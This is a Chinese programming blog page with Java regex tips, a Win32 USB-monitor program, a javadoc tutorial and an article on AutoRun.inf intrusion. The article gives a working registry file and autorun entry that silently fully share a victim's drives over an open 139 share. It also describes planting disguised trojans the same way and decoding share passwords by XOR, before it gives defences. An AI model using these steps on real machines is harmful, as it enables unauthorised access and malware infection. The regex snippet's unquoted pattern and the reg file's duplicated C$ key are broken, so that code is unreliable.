u-s-soldiers

          BlogJava 首頁(yè) 新隨筆 聯(lián)系 聚合 管理
            13 Posts :: 0 Stories :: 1 Comments :: 0 Trackbacks

          2008年4月6日 #

          public class StringUtil {

            
           public static void replaceBlank()
           {
            Pattern p = Pattern.compile(\\s*|\t|\r|\n);
            String str="I am a, I am Hello  ok, \n new line ffdsa!";
            System.out.println("before:"+str);
            Matcher m = p.matcher(str);
            String after = m.replaceAll(""); 
            System.out.println("after:"+after);
           }
           
           public static void main(String[] args) {
              replaceBlank();
            }

          posted @ 2008-05-13 02:42 u-s-soldiers 閱讀(512) | 評(píng)論 (0)編輯 收藏

          正則表達(dá)式在字符串處理上有著強(qiáng)大的功能,sun在jdk1.4加入了對(duì)它的支持 

          下面簡(jiǎn)單的說(shuō)下它的4種常用功能:

          查詢:

          String str="abc efg ABC";

          String regEx="a|f";   //表示a或f 

          Pattern p=Pattern.compile(regEx);

          Matcher m=p.matcher(str);

          boolean rs=m.find();

          如果str中有regEx,那么rs為true,否則為flase。如果想在查找時(shí)忽略大小寫(xiě),則可以寫(xiě)成Pattern p=Pattern.compile(regEx,Pattern.CASE_INSENSITIVE);

          提取:
          String regEx=".+\\\\(.+)$";

          String str="c:\\dir1\\dir2\\name.txt";

          Pattern p=Pattern.compile(regEx);

          Matcher m=p.matcher(str);

          boolean rs=m.find();

          for(int i=1;i<=m.groupCount();i++){

          System.out.println(m.group(i));

          }

          以上的執(zhí)行結(jié)果為name.txt,提取的字符串儲(chǔ)存在m.group(i)中,其中i最大值為m.groupCount();

          分割:

          String regEx="::";

          Pattern p=Pattern.compile(regEx);

          String[] r=p.split("xd::abc::cde");

          執(zhí)行后,r就是{"xd","abc","cde"},其實(shí)分割時(shí)還有跟簡(jiǎn)單的方法:

          String str="xd::abc::cde";

          String[] r=str.split("::");

          替換(刪除):

          String regEx="a+"; //表示一個(gè)或多個(gè)a

          Pattern p=Pattern.compile(regEx);

          Matcher m=p.matcher("aaabbced a ccdeaa");

          String s=m.replaceAll("A");

          結(jié)果為"Abbced A ccdeA"

          如果寫(xiě)成空串,既可達(dá)到刪除的功能,比如:

          String s=m.replaceAll("");

          結(jié)果為"bbced  ccde"

          附:

          \d 等於 [0-9] 數(shù)字 
          \D 等於 [^0-9] 非數(shù)字 
          \s 等於 [ \t\n\x0B\f\r] 空白字元 
          \S 等於 [^ \t\n\x0B\f\r] 非空白字元 
          \w 等於 [a-zA-Z_0-9] 數(shù)字或是英文字 
          \W 等於 [^a-zA-Z_0-9] 非數(shù)字與英文字 

          ^ 表示每行的開(kāi)頭
          $ 表示每行的結(jié)尾
          posted @ 2008-05-03 14:44 u-s-soldiers 閱讀(212) | 評(píng)論 (0)編輯 收藏

          // UsbHook.cpp : Defines the entry point for the application.
          //

          #include "stdafx.h"
          #include "Dbt.h"

          void DeviceChangeEventOpt(WPARAM wParam, LPARAM lParam)
          {
           switch(wParam)
           {
           case DBT_CONFIGCHANGECANCELED:
            MessageBox(NULL,"設(shè)備改變DBT_CONFIGCHANGECANCELED","提示",MB_OK);
            break;
           case DBT_CONFIGCHANGED:
            MessageBox(NULL,"設(shè)備改變DBT_CONFIGCHANGED","提示",MB_OK);
            break;
           //case DBT_CUSTOMEVENT:
           // MessageBox(NULL,"設(shè)備改變DBT_CUSTOMEVENT","提示",MB_OK);
           // break;
           case DBT_DEVICEARRIVAL: // A device has been inserted and is now available. 
           
            MessageBox(NULL,"設(shè)備改變DBT_DEVICEARRIVAL","提示",MB_OK);
            
            DEV_BROADCAST_HDR *stHDR;
            stHDR = (DEV_BROADCAST_HDR *)lParam;

            //判斷設(shè)備類型
            switch(stHDR->dbch_devicetype)
            {
            case DBT_DEVTYP_DEVNODE:
             MessageBox(NULL,"設(shè)備類型 DBT_DEVTYP_DEVNODE","提示",MB_OK);
             break;
            case DBT_DEVTYP_NET:
             MessageBox(NULL,"設(shè)備類型 DBT_DEVTYP_NET","提示",MB_OK);
             break;
            case DBT_DEVTYP_OEM:
             MessageBox(NULL,"設(shè)備類型 DBT_DEVTYP_OEM","提示",MB_OK);
             break;
            case DBT_DEVTYP_PORT:
             MessageBox(NULL,"設(shè)備類型 DBT_DEVTYP_PORT","提示",MB_OK);
             break;
            case DBT_DEVTYP_VOLUME:// Logical volume. This structure is a DEV_BROADCAST_VOLUME structure
             MessageBox(NULL,"設(shè)備類型 DBT_DEVTYP_VOLUME","提示",MB_OK);
             break;
            }
            //
           
            break;
            case DBT_DEVICEQUERYREMOVE:
             MessageBox(NULL,"設(shè)備改變DBT_DEVICEQUERYREMOVE","提示",MB_OK);
             break; 
            case DBT_DEVICEQUERYREMOVEFAILED:
             MessageBox(NULL,"設(shè)備改變DBT_DEVICEQUERYREMOVEFAILED","提示",MB_OK);
             break; 
            case DBT_DEVICEREMOVECOMPLETE:// A device has been removed.
             MessageBox(NULL,"設(shè)備改變DBT_DEVICEREMOVECOMPLETE","提示",MB_OK);
             break; 
            case DBT_DEVICEREMOVEPENDING://
             MessageBox(NULL,"設(shè)備改變DBT_DEVICEREMOVEPENDING","提示",MB_OK);
             break; 
            case DBT_DEVICETYPESPECIFIC://
             MessageBox(NULL,"設(shè)備改變DBT_DEVICETYPESPECIFIC","提示",MB_OK);
             break; 
            case DBT_QUERYCHANGECONFIG: 
             MessageBox(NULL,"設(shè)備改變DBT_QUERYCHANGECONFIG","提示",MB_OK);
             break; 
            case DBT_USERDEFINED ://
             MessageBox(NULL,"設(shè)備改變DBT_USERDEFINED","提示",MB_OK);
             break;
             
           }
          }

          HWND  hwndMain;
          LRESULT CALLBACK WndProc(
                 HWND hwnd,      // handle to window
                 UINT uMsg,      // message identifier
                 WPARAM wParam,  // first message parameter
                 LPARAM lParam   // second message parameter
                 )
          {
           
           switch(uMsg)
           {
           case WM_CREATE:
            break;
           case WM_DESTROY:
            PostQuitMessage(0);
            break;
           case WM_COMMAND:
            break;
           case WM_DEVICECHANGE:
            
            DeviceChangeEventOpt(wParam,lParam);
            
            
            break;
           }
           return DefWindowProc(hwnd,uMsg,wParam,lParam);
          }

          int APIENTRY WinMain(HINSTANCE hInstance,
                               HINSTANCE hPrevInstance,
                               LPSTR     lpCmdLine,
                               int       nCmdShow)
          {
            // TODO: Place code here.

           // TODO: Place code here.
           
           WNDCLASSEX wclass;
           MSG msg;
           
           wclass.cbClsExtra = 0;
           wclass.cbSize = sizeof(WNDCLASSEX);
           wclass.cbWndExtra = 0;
           wclass.hbrBackground = (HBRUSH)GetStockObject(LTGRAY_BRUSH);
           wclass.hCursor = NULL;
           wclass.hIcon = NULL;
           wclass.hIconSm = NULL;
           wclass.hInstance = hInstance;
           wclass.lpfnWndProc =(WNDPROC)WndProc;
           wclass.lpszClassName = "CheckUSB";
           wclass.lpszMenuName = NULL;
           wclass.style = CS_DBLCLKS;
           
           
           
           if(!RegisterClassEx(&wclass))
           {
            MessageBox(NULL,"類創(chuàng)建失敗","類創(chuàng)建失敗",MB_OK);
           }
           hwndMain = CreateWindow("CheckUSB","檢測(cè)USB設(shè)備",
            WS_OVERLAPPED | WS_SYSMENU  | WS_MINIMIZEBOX | WS_VISIBLE, CW_USEDEFAULT, CW_USEDEFAULT, 320, 300,NULL, NULL, hInstance, NULL);
           while(GetMessage(&msg,NULL,0,0))
           {
            TranslateMessage(&msg);   //translate the message into its char equivelent
            DispatchMessage(&msg);
           }
           
           return msg.wParam;

          }

           

          原帖來(lái)自http://search.csdn.net/Expert/topic/989/989392.xml?temp=.1137812
          代碼中有部分參數(shù)意思不是很明確,在參考了msdn后做了一定的改動(dòng)。用U盤(pán)測(cè)試并沒(méi)有什么問(wèn)題。反正那幾個(gè)參數(shù)標(biāo)識(shí)的也不是U盤(pán)的參數(shù)。
          用USB鼠標(biāo)和鍵盤(pán)測(cè)試并沒(méi)有反映,但是可以監(jiān)視USB存儲(chǔ)設(shè)備感覺(jué)已經(jīng)達(dá)到要求了,有時(shí)間再改進(jìn)一下

          posted @ 2008-04-30 03:38 u-s-soldiers 閱讀(1339) | 評(píng)論 (1)編輯 收藏

          最近網(wǎng)上流行通過(guò)AutoRun.inf文件使對(duì)方所有的硬盤(pán)完全共享或中木馬的方法,由于AutoRun.inf文件在黑客技術(shù)中的應(yīng)用還是很少見(jiàn)的,相應(yīng)的資料也不多,有很多人對(duì)此覺(jué)得很神秘,本文試圖為您解開(kāi)這個(gè)迷,使您能完全的了解這個(gè)并不復(fù)雜卻極其有趣的技術(shù)。

          一、理論基礎(chǔ)

          經(jīng)常使用光盤(pán)的朋友都知道,有很多光盤(pán)放入光驅(qū)就會(huì)自動(dòng)運(yùn)行,它們是怎么做的呢?光盤(pán)一放入光驅(qū)就會(huì)自動(dòng)被執(zhí)行,主要依靠?jī)蓚€(gè)文件,一是光盤(pán)上的AutoRun.inf文件,另一個(gè)是操作系統(tǒng)本身的系統(tǒng)文件之一的Cdvsd.vxd。Cdvsd.vxd會(huì)隨時(shí)偵測(cè)光驅(qū)中是否有放入光盤(pán)的動(dòng)作,如果有的話,便開(kāi)始尋找光盤(pán)根目錄下的AutoRun.inf文件。如果存在AutoRun.inf文件則執(zhí)行它里面的預(yù)設(shè)程序。

          AutoRun.inf不光能讓光盤(pán)自動(dòng)運(yùn)行程序,也能讓硬盤(pán)自動(dòng)運(yùn)行程序,方法很簡(jiǎn)單,先打開(kāi)記事本,然后用鼠標(biāo)右鍵點(diǎn)擊該文件,在彈出菜單中選擇“重命名”,將其改名為AutoRun.inf,在AutoRun.inf中鍵入以下內(nèi)容:

          [AutoRun]    //表示AutoRun部分開(kāi)始,必須輸入

          Icon=C:\C.ico  //給C盤(pán)一個(gè)個(gè)性化的盤(pán)符圖標(biāo)C.ico

          Open=C:\1.exe  //指定要運(yùn)行程序的路徑和名稱,在此為C盤(pán)下的1.exe

          保存該文件,按F5刷新桌面,再看“我的電腦”中的該盤(pán)符(在此為C盤(pán)),你會(huì)發(fā)現(xiàn)它的磁盤(pán)圖標(biāo)變了,雙擊進(jìn)入C盤(pán),還會(huì)自動(dòng)播放C盤(pán)下的1.exe文件!

          解釋一下:“[AutoRun]”行是必須的固定格式,“Icon”行對(duì)應(yīng)的是圖標(biāo)文件,“C:\C.ico”為圖標(biāo)文件路徑和文件名,你在輸入時(shí)可以將它改為你的圖片文件所在路徑和文件名。另外,“.ico”為圖標(biāo)文件的擴(kuò)展名,如果你手頭上沒(méi)有這類文件,可以用看圖軟件ACDSee將其他格式的軟件轉(zhuǎn)換為ico格式,或者找到一個(gè)后綴名為BMP的文件,將它直接改名為ICO文件即可。

          “Open”行指定要自動(dòng)運(yùn)行的文件及其盤(pán)符和路徑。要特別說(shuō)明的是,如果你要改變的硬盤(pán)跟目錄下沒(méi)有自動(dòng)播放文件,就應(yīng)該把“OPEN”行刪掉,否則就會(huì)因?yàn)檎也坏阶詣?dòng)播放文件而打不開(kāi)硬盤(pán),此時(shí)只能用鼠標(biāo)右鍵單擊盤(pán)符在彈出菜單中選“打開(kāi)”才行。

          請(qǐng)大家注意:保存的文件名必須是“AutoRun.inf”,編制好的Autorun.inf文件和圖標(biāo)文件一定要放在硬盤(pán)根目錄下。更進(jìn)一步,如果你的某個(gè)硬盤(pán)內(nèi)容暫時(shí)比較固定的話,不妨用Flash做一個(gè)自動(dòng)播放文件,再編上“Autorun”文件,那你就有最酷、最個(gè)性的硬盤(pán)了。

          到這兒還沒(méi)有完。大家知道,在一些光盤(pán)放入后,我們?cè)谄鋱D標(biāo)上單擊鼠標(biāo)右鍵,還會(huì)產(chǎn)生一個(gè)具有特色的目錄菜單,如果能對(duì)著我們的硬盤(pán)點(diǎn)擊鼠標(biāo)右鍵也產(chǎn)生這樣的效果,那將更加的有特色。其實(shí),光盤(pán)能有這樣的效果也僅僅是因?yàn)樵贏utoRun.inf文件中有如下兩條語(yǔ)句:

          shell\標(biāo)志=顯示的鼠標(biāo)右鍵菜單中內(nèi)容

          shell\標(biāo)志\command=要執(zhí)行的文件或命令行

          所以,要讓硬盤(pán)具有特色的目錄菜單,在AutoRun.inf文件中加入上述語(yǔ)句即可,示例如下:

          shell\1=天若有情天亦老

          shell\1\command\=notepad ok.txt

          保存完畢,按F5鍵刷新,然后用鼠標(biāo)右鍵單擊硬盤(pán)圖標(biāo),在彈出菜單中會(huì)發(fā)現(xiàn)“天若有情天亦老”,點(diǎn)擊它,會(huì)自動(dòng)打開(kāi)硬盤(pán)中的“ok.txt”文件。注意:上面示例假設(shè)“ok.txt”文件在硬盤(pán)根目錄下,notepad為系統(tǒng)自帶的記事本程序。如果要執(zhí)行的文件為直接可執(zhí)行程序,則在“command\”后直接添加該執(zhí)行程序文件名即可。

          二、實(shí)例

          下面就舉個(gè)例子:如果你掃到一臺(tái)開(kāi)著139共享的機(jī)器,而對(duì)方只完全共享了D盤(pán),我們要讓對(duì)方的所有驅(qū)動(dòng)器都共享。首先編輯一個(gè)注冊(cè)表文件,打開(kāi)記事本,鍵入以下內(nèi)容:

          REGEDIT4
          '此處一定要空一行
          [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
          "Path"="C:"
          "Remark"=""
          "Type"=dword:00000000
          "Flags"=dword:00000302
          "Parmlenc"=hex:
          "Parm2enc"=hex:

          [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\D$]
          "Path"="D:"
          "Remark"=""
          "Type"=dword:00000000
          "Flags"=dword:00000302
          "Parmlenc"=hex:
          "Parm2enc"=hex:

          [HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\Lanman\C$]
          "Path"="E:"
          "Remark"=""
          "Type"=dword:00000000
          "Flags"=dword:00000302
          "Parmlenc"=hex:
          "Parm2enc"=hex:

          以上我只設(shè)置到E盤(pán),如果對(duì)方有很多邏輯盤(pán)符的請(qǐng)自行設(shè)置。將以上部分另存為Share.reg文件備用。要特別注意REGEDIT4為大寫(xiě)且頂格書(shū)寫(xiě),其后要空上一行,在最后一行記得要按一次回車鍵。

          然后打開(kāi)記事本,編制一個(gè)AutoRun.inf文件,鍵入以下內(nèi)容:

          [AutoRun]
          Open=regedit/s Share.reg //加/s參數(shù)是為了導(dǎo)入時(shí)不會(huì)顯示任何信息

          保存AutoRun.inf文件。將Share.reg和AutoRun.inf這兩個(gè)文件都復(fù)制到對(duì)方的D盤(pán)的根目錄下,這樣對(duì)方只要雙擊D盤(pán)就會(huì)將Share.reg導(dǎo)入注冊(cè)表,這樣對(duì)方電腦重啟后所有驅(qū)動(dòng)器就會(huì)都完全共享出來(lái)。

          如果想讓對(duì)方中木馬,只要在AutoRun.inf文件中,把“Open=Share.Reg”改成“Open=木馬服務(wù)端文件名”,然后把AutoRun.inf和配置好的木馬服務(wù)端一起復(fù)制到對(duì)方D盤(pán)的根目錄下,這樣不需對(duì)方運(yùn)行木馬服務(wù)端程序,而只需他雙擊D盤(pán)就會(huì)使木馬運(yùn)行!這樣做的好處顯而易見(jiàn),那就是大大的增加了木馬運(yùn)行的主動(dòng)性!須知許多人現(xiàn)在都是非常警惕的,不熟悉的文件他們輕易的不會(huì)運(yùn)行,而這種方法就很難防范了。

          要說(shuō)明的是,給你下木馬的人不會(huì)那么蠢的不給木馬加以偽裝,一般說(shuō)來(lái),他們會(huì)給木馬服務(wù)端文件改個(gè)名字,或好聽(tīng)或和系統(tǒng)文件名很相像,然后給木馬換個(gè)圖標(biāo),使它看起來(lái)像TXT文件、ZIP文件或圖片文件等,,最后修改木馬的資源文件使其不被殺毒軟件識(shí)別(具體的方法可以看本刊以前的文章),當(dāng)服務(wù)端用戶信以為真時(shí),木馬卻悄悄侵入了系統(tǒng)。其實(shí),換個(gè)角度理解就不難了——要是您給別人下木馬我想你也會(huì)這樣做的。以上手段再輔以如上內(nèi)容的AutoRun.inf文件就天衣無(wú)縫了!

          三、防范方法

          共享分類完全是由flags標(biāo)志決定的,它的鍵值決定了共享目錄的類型。當(dāng)flags=0x302時(shí),重新啟動(dòng)系統(tǒng),目錄共享標(biāo)志消失,表面上看沒(méi)有共享,實(shí)際上該目錄正處于完全共享狀態(tài)。網(wǎng)上流行的共享蠕蟲(chóng),就是利用了此特性。如果把"Flags"=dword:00000302改成"Flags"=dword:00000402,就可以看到硬盤(pán)被共享了,明白了嗎?秘密就在這里!

          以上代碼中的Parmlenc、Parm2enc屬性項(xiàng)是加密的密碼,系統(tǒng)在加密時(shí)采用了8位密碼分別與“35 9a 4b a6 53 a9 d4 6a”進(jìn)行異或運(yùn)算,要想求出密碼再進(jìn)行一次異或運(yùn)算,然后查ASCII表可得出目錄密碼。在網(wǎng)絡(luò)軟件中有一款軟件就利用該屬性進(jìn)行網(wǎng)絡(luò)密碼破解的,在局域網(wǎng)內(nèi)從一臺(tái)機(jī)器上可以看到另一臺(tái)計(jì)算機(jī)的共享密碼。

          利用TCP/IP協(xié)議設(shè)計(jì)的NethackerⅡ軟件可以穿過(guò)Internet網(wǎng)絡(luò),找到共享的主機(jī),然后進(jìn)行相應(yīng)操作。所以當(dāng)您通過(guò)Modem上網(wǎng)時(shí),千萬(wàn)要小心,因?yàn)橐徊恍⌒?,您的主機(jī)將完全共享給對(duì)方了。

          解決辦法是把

          HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Network\LanMan

          下面的“C$”、“D$”、“E$”等刪掉。然后刪除windows\system\下面的Vserver.vxd刪除,它是Microsoft網(wǎng)絡(luò)上的文件與打印機(jī)共享虛擬設(shè)備驅(qū)動(dòng)程序,再把

          HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\VxD\

          下的Vserver鍵值刪掉,就會(huì)很安全了。

          另外,關(guān)閉硬盤(pán)AutoRun功能也是防范黑客入侵的有效方法之一。具體方法是在“開(kāi)始”菜單的“運(yùn)行”中輸入Regedit,打開(kāi)注冊(cè)表編輯器,展開(kāi)到

          HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Exploer

          主鍵下,在右側(cè)窗格中找到“NoDriveTypeAutoRun”,就是這個(gè)鍵決定了是否執(zhí)行CDROM或硬盤(pán)的AutoRun功能。

          雙擊“NoDriveTypeAutoRun”,在默認(rèn)狀態(tài)下(即你沒(méi)有禁止過(guò)AutoRun功能),在彈出窗口中可以看到“NoDriveTypeAutoRun”默認(rèn)鍵值為95,00,00,00。其中第一個(gè)值“95”是十六進(jìn)制值,它是所有被禁止自動(dòng)運(yùn)行設(shè)備的和。將“95”轉(zhuǎn)為二進(jìn)制就是10010101,其中每位代表一個(gè)設(shè)備,Windows中不同設(shè)備會(huì)用如下數(shù)值表示:

          設(shè)備名稱     第幾位 值 設(shè)備用如下數(shù)值表示  設(shè)備名稱含義
          DKIVE_UNKNOWN   0  1  01h       不能識(shí)別的設(shè)備類型
          DRIVE_NO_ROOT_DIR 1  0  02h       沒(méi)有根目錄的驅(qū)動(dòng)器(Drive without root  
          directory)
          DRIVE_REMOVABLE  2  1  04h       可移 動(dòng)驅(qū)動(dòng)器(Removable drive)
          DRIVE_FIXED    3  0  08h       固定的驅(qū)動(dòng)器(Fixed drive)
          DRIVE_REMOTE   4  1  10h       網(wǎng)絡(luò)驅(qū)動(dòng)器(Network drive)
          DRIVE_CDROM    5  0  20h       光驅(qū)(CD-ROM)  
          DRIVE_RAMDISK   6  0  40h       RAM磁盤(pán)(RAM Disk)
          保留       7  1  80h       未指定的驅(qū)動(dòng)器類型(Not yet
          specified drive disk)

          在上面所列的表中值為“0”表示設(shè)備運(yùn)行,值為“1”表示該設(shè)備不運(yùn)行(默認(rèn)情況下,Windows禁止80h、10h、4h、01h這些設(shè)備自動(dòng)運(yùn)行,這些數(shù)值累加正好是十六進(jìn)制的95h,所以NoDriveTypeAutoRun”默認(rèn)鍵值為95,00,00,00)。

          由上面的分析不難看出,在默認(rèn)情況下,會(huì)自動(dòng)運(yùn)行的設(shè)備是DRIVE_NO_ROOT_DIR、DRIVE_FIXED、DRIVE_CDROM、DRIVE_RAMDISK這四個(gè)保留設(shè)備,所以要禁止硬盤(pán)自動(dòng)運(yùn)行AutoRun.inf文件,就必須將DRIVE_FIXED的值設(shè)為1,這是因?yàn)镈RIVE_FIXED代表固定的驅(qū)動(dòng)器,即硬盤(pán)。這樣一來(lái),原來(lái)的10010101(在表中“值”列中由下向上看)就變成了二進(jìn)制的10011101,轉(zhuǎn)為十六進(jìn)制為9D。現(xiàn)在,將“NoDriveTypeAutoRun”的鍵值改為9D,00,00,00后關(guān)閉注冊(cè)表編輯器,重啟電腦后就會(huì)關(guān)閉硬盤(pán)的AutoRun功能。

          如果你看明白了,那你肯定知道該怎樣禁止光盤(pán)AutoRun功能了,對(duì)!就是將DRIVE_CDROM設(shè)為1,這樣“NoDriveTypeAutoRun”鍵值中的第一個(gè)值就變成了10110101,也就是十六進(jìn)制的B5。將第一個(gè)值改為B5后關(guān)閉注冊(cè)表編輯器,重啟電腦后就會(huì)關(guān)閉CDROM的Autorun功能。如果僅想禁止軟件光盤(pán)的AutoRun功能,但又保留對(duì)CD音頻碟的自動(dòng)播放能力,這時(shí)只需將“NoDriveTypeAutoRun”的鍵值改為:BD,00,00,00即可。

          如果想要恢復(fù)硬盤(pán)或光驅(qū)的AutoRun功能,進(jìn)行反方向操作即可。

          事實(shí)上,大多數(shù)的硬盤(pán)根目錄下并不需要AutoRun.inf文件來(lái)運(yùn)行程序,因此我們完全可以將硬盤(pán)的AutoRun功能關(guān)閉,這樣即使在硬盤(pán)根目錄下有AutoRun.inf這個(gè)文件,Windows也不會(huì)去運(yùn)行其中指定的程序,從而可以達(dá)到防止黑客利用AutoRun.inf文件入侵的目的。

          除此以外,我們還應(yīng)讓W(xué)indows能顯示出隱藏的共享。大家都知道,在Windows 9X中設(shè)置共享時(shí),通過(guò)在共享名后加上“$”這個(gè)符號(hào),可使共享隱藏。比如,我們給一個(gè)名為share的計(jì)算機(jī)的C盤(pán)設(shè)置共享時(shí),只要將其共享名設(shè)為C$。這樣我們將看不到被共享的C盤(pán),只有通過(guò)輸入該共享的確切路徑,才能訪問(wèn)此共享。不過(guò)我們只要用將電腦中的msnp32.dll文件稍做修改。就可以讓W(xué)indows顯示出隱藏的共享。

          由于在Windows下msnp32.dll會(huì)被調(diào)用,不能直接修改此文件,所以第一步我們要復(fù)制msnp32.dll到C盤(pán)下并改名為msnp32,msnp32.dll在C:\Windows\system文件夾下。運(yùn)行UltraEdit等十六進(jìn)制文件編輯器打開(kāi)msnp32,找到“24 56 E8 17”(位于偏移地址00003190~000031A0處),找到后將“24”改為“00”,然后保存,關(guān)閉UltraEdit。重啟計(jì)算機(jī)進(jìn)入DOS模式,在命令提示符下輸入copy c:\msnp32.dll c:\Windows\system\msnp32.dll,重啟進(jìn)入Windows,現(xiàn)在雙擊share就能看見(jiàn)被隱藏的共享了。

          最后要提醒大家利用TCP/IP協(xié)議設(shè)計(jì)的NethackerⅡ等黑客軟件可以穿過(guò)Internet網(wǎng)絡(luò),找到共享的主機(jī),然后進(jìn)行相應(yīng)操作。所以當(dāng)您通過(guò)Modem上網(wǎng)時(shí),千萬(wàn)要小心,因?yàn)橐徊恍⌒?,您的主機(jī)將完全共享給對(duì)方了。防范這類事情發(fā)生的方法無(wú)非是經(jīng)常檢查系統(tǒng),給系統(tǒng)打上補(bǔ)丁,經(jīng)常使用反黑殺毒軟件,上網(wǎng)時(shí)打開(kāi)防火墻,注意異常現(xiàn)象,留意AutoRun.inf文件的內(nèi)容,關(guān)閉共享或不要設(shè)置為完全共享,且加上復(fù)雜的共享密碼。

          聲明:本文的目的是使大家能清楚地了解網(wǎng)上流行的黑客手段,增強(qiáng)自己的防護(hù)意識(shí),因此請(qǐng)大家不要用本文的方法去干違法的事情,切記:己所不欲,勿施于人!

          posted @ 2008-04-30 01:46 u-s-soldiers 閱讀(201) | 評(píng)論 (0)編輯 收藏

           對(duì)于Java注釋我們主要了解兩種:
            // 注釋一行
            /* ...... */ 注釋若干行
            但還有第三種,文檔注釋:
            /** ...... */ 注釋若干行,并寫(xiě)入 javadoc 文檔
            通常這種注釋的多行寫(xiě)法如下:
            /**
            * .........
            * .........
            */
            很多人多忽視了這第三種注釋,那么這第三種注釋有什么用?javadoc 又是什么東西?下面我們就談?wù)劇?br />   一. Java 文檔和 Javadoc
            Java 程序員都應(yīng)該知道使用 JDK 開(kāi)發(fā),最好的幫助信息就來(lái)自 SUN 發(fā)布的 Java 文檔。它分包、分類詳細(xì)的提供了各方法、屬性的幫助信息,具有詳細(xì)的類樹(shù)信息、索引信息等,并提供了許多相關(guān)類之間的關(guān)系,如繼承、實(shí)現(xiàn)接口、引用等。
            Java 文檔全是由一些 html 文件組織起來(lái)的,在 SUM 的站點(diǎn)上可以下載它們的壓縮包。但是你肯定想不到,這些文檔我們可以自己生成。——就此打住,再吊一次胃口。
            安裝了 JDK 之后,安裝目錄下有一個(gè) src.jar 文件或者 src.zip 文件,它們都是以 ZIP 格式壓縮的,可以使用 WinZip 解壓。解壓之后,我們就可以看到分目錄放的全是 .java 文件。是了,這些就是 Java 運(yùn)行類的源碼了,非常完整,連注釋都寫(xiě)得一清二楚……不過(guò),怎么看這些注釋都有點(diǎn)似曾相識(shí)的感覺(jué)?
            這就不奇怪了,我們的迷底也快要揭開(kāi)了。如果你仔細(xì)對(duì)比一下 .java 源文件中的文檔注釋 (/** ... */) 和 Java 文檔的內(nèi)容,你會(huì)發(fā)現(xiàn)它們就是一樣的。Java 文檔只是還在格式和排版上下了些功夫。再仔細(xì)一點(diǎn),你會(huì)發(fā)現(xiàn) .java 源文件中的注釋還帶有 HTML 標(biāo)識(shí),如 <B>、<BR>、<Code> 等,在 Java 文檔中,該出現(xiàn)這些標(biāo)識(shí)的地方,已經(jīng)按標(biāo)識(shí)的的定義進(jìn)行了排版。
            終于真像大白了,原來(lái) Java 文檔是來(lái)自這些注釋。難怪這些注釋叫做文檔注釋呢!不過(guò),是什么工具把這些注釋變成文檔的呢?
            是該請(qǐng)出 javadoc 的時(shí)候了。在 JDK 的 bin 目錄下你可以找到 javadoc,如果是 Windows 下的 JDK,它的文件名為 javadoc.exe。使用 javdoc 編譯 .java 源文件時(shí),它會(huì)讀出 .java 源文件中的文檔注釋,并按照一定的規(guī)則與 Java 源程序一起進(jìn)行編譯,生成文檔。
            介紹 javadoc 的編譯命令之前,還是先了解一下文檔注釋的格式吧。不過(guò)為了能夠編譯下面提到的若干例子,這里先介紹一條 javadoc 命令:
            javadoc -d 文檔存放目錄 -author -version 源文件名.java
            這條命令編譯一個(gè)名為 “源文件名.java”的 java 源文件,并將生成的文檔存放在“文檔存放目錄”指定的目錄下,生成的文檔中 index.html 就是文檔的首頁(yè)。-author 和 -version 兩上選項(xiàng)可以省略。
            二. 文檔注釋的格式
            文檔注釋可以用于對(duì)類、屬性、方法等進(jìn)行說(shuō)明。寫(xiě)文檔注釋時(shí)除了需要使用 /** .... */ 限定之外,還需要注意注釋內(nèi)部的一些細(xì)節(jié)問(wèn)題。
            1. 文檔和文檔注釋的格式化
            生成的文檔是 HTML 格式,而這些 HTML 格式的標(biāo)識(shí)符并不是 javadoc 加的,而是我們?cè)趯?xiě)注釋的時(shí)候?qū)懮先サ摹1热?,需要換行時(shí),不是敲入一個(gè)回車符,而是寫(xiě)入 <br>,如果要分段,就應(yīng)該在段前寫(xiě)入 <p>。
            因此,格式化文檔,就是在文檔注釋中添加相應(yīng)的 HTML 標(biāo)識(shí)。
            文檔注釋的正文并不是直接復(fù)制到輸出文件 (文檔的 HTML 文件),而是讀取每一行后,刪掉前導(dǎo)的 * 號(hào)及 * 號(hào)以前的空格,再輸入到文檔的。如
            /**
            * This is first line. <br>
            ***** This is second line. <br>
            This is third line.
            */ 
            編譯輸出后的 HTML 源碼則是
            This is first line. <br>
            This is second line. <br>
            This is third line. 
            前導(dǎo)的 * 號(hào)允許連續(xù)使用多個(gè),其效果和使用一個(gè) * 號(hào)一樣,但多個(gè) * 號(hào)前不能有其它字符分隔,否則分隔符及后面的 * 號(hào)都將作為文檔的內(nèi)容。* 號(hào)在這里是作為左邊界使用,如上例的第一行和第二行;如果沒(méi)有前導(dǎo)的 * 號(hào),則邊界從第一個(gè)有效字符開(kāi)始,而不包括前面的空格,如上例第三行。
            還有一點(diǎn)需要說(shuō)明,文檔注釋只說(shuō)明緊接其后的類、屬性或者方法。如下例:
            /** comment for class */
            public class Test {
            /** comment for a attribute */
            int number;
            /** comment for a method */
            public void myMethod() { ...... }
            ......
            }
            上例中的三處注釋就是分別對(duì)類、屬性和方法的文檔注釋。它們生成的文檔分別是說(shuō)明緊接其后的類、屬性、方法的。“緊接”二字尤其重要,如果忽略了這一點(diǎn),就很可能造成生成的文檔錯(cuò)誤。如
            import java.lang.*;
            /** commnet for class */
            public class Test { ...... }
            // 此例為正確的例子
            這個(gè)文檔注釋將生成正確的文檔。但只需要改變其中兩行的位置,變成下例,就會(huì)出錯(cuò):
            /** commnet for class */
            import java.lang.*;
            public class Test { ...... }
            // 此例為錯(cuò)誤的例子
            這個(gè)例子只把上例的 import 語(yǔ)句和文檔注釋部分交換了位置,結(jié)果卻大不相同——生成的文檔中根本就找不到上述注釋的內(nèi)容了。原因何在?
            “/** commnet for class */”是對(duì) class Test 的說(shuō)明,把它放在“public class Test { ...... }”之前時(shí),其后緊接著 class Test,符合規(guī)則,所以生成的文檔正確。但是把它和“import java.lang.*;”調(diào)換了位置后,其后緊接的就是不 class Test 了,而是一個(gè) import 語(yǔ)句。由于文檔注釋只能說(shuō)明類、屬性和方法,import 語(yǔ)句不在此列,所以這個(gè)文檔注釋就被當(dāng)作錯(cuò)誤說(shuō)明省略掉了。
            2. 文檔注釋的三部分
            根據(jù)在文檔中顯示的效果,文檔注釋分為三部分。先舉例如下,以便說(shuō)明。
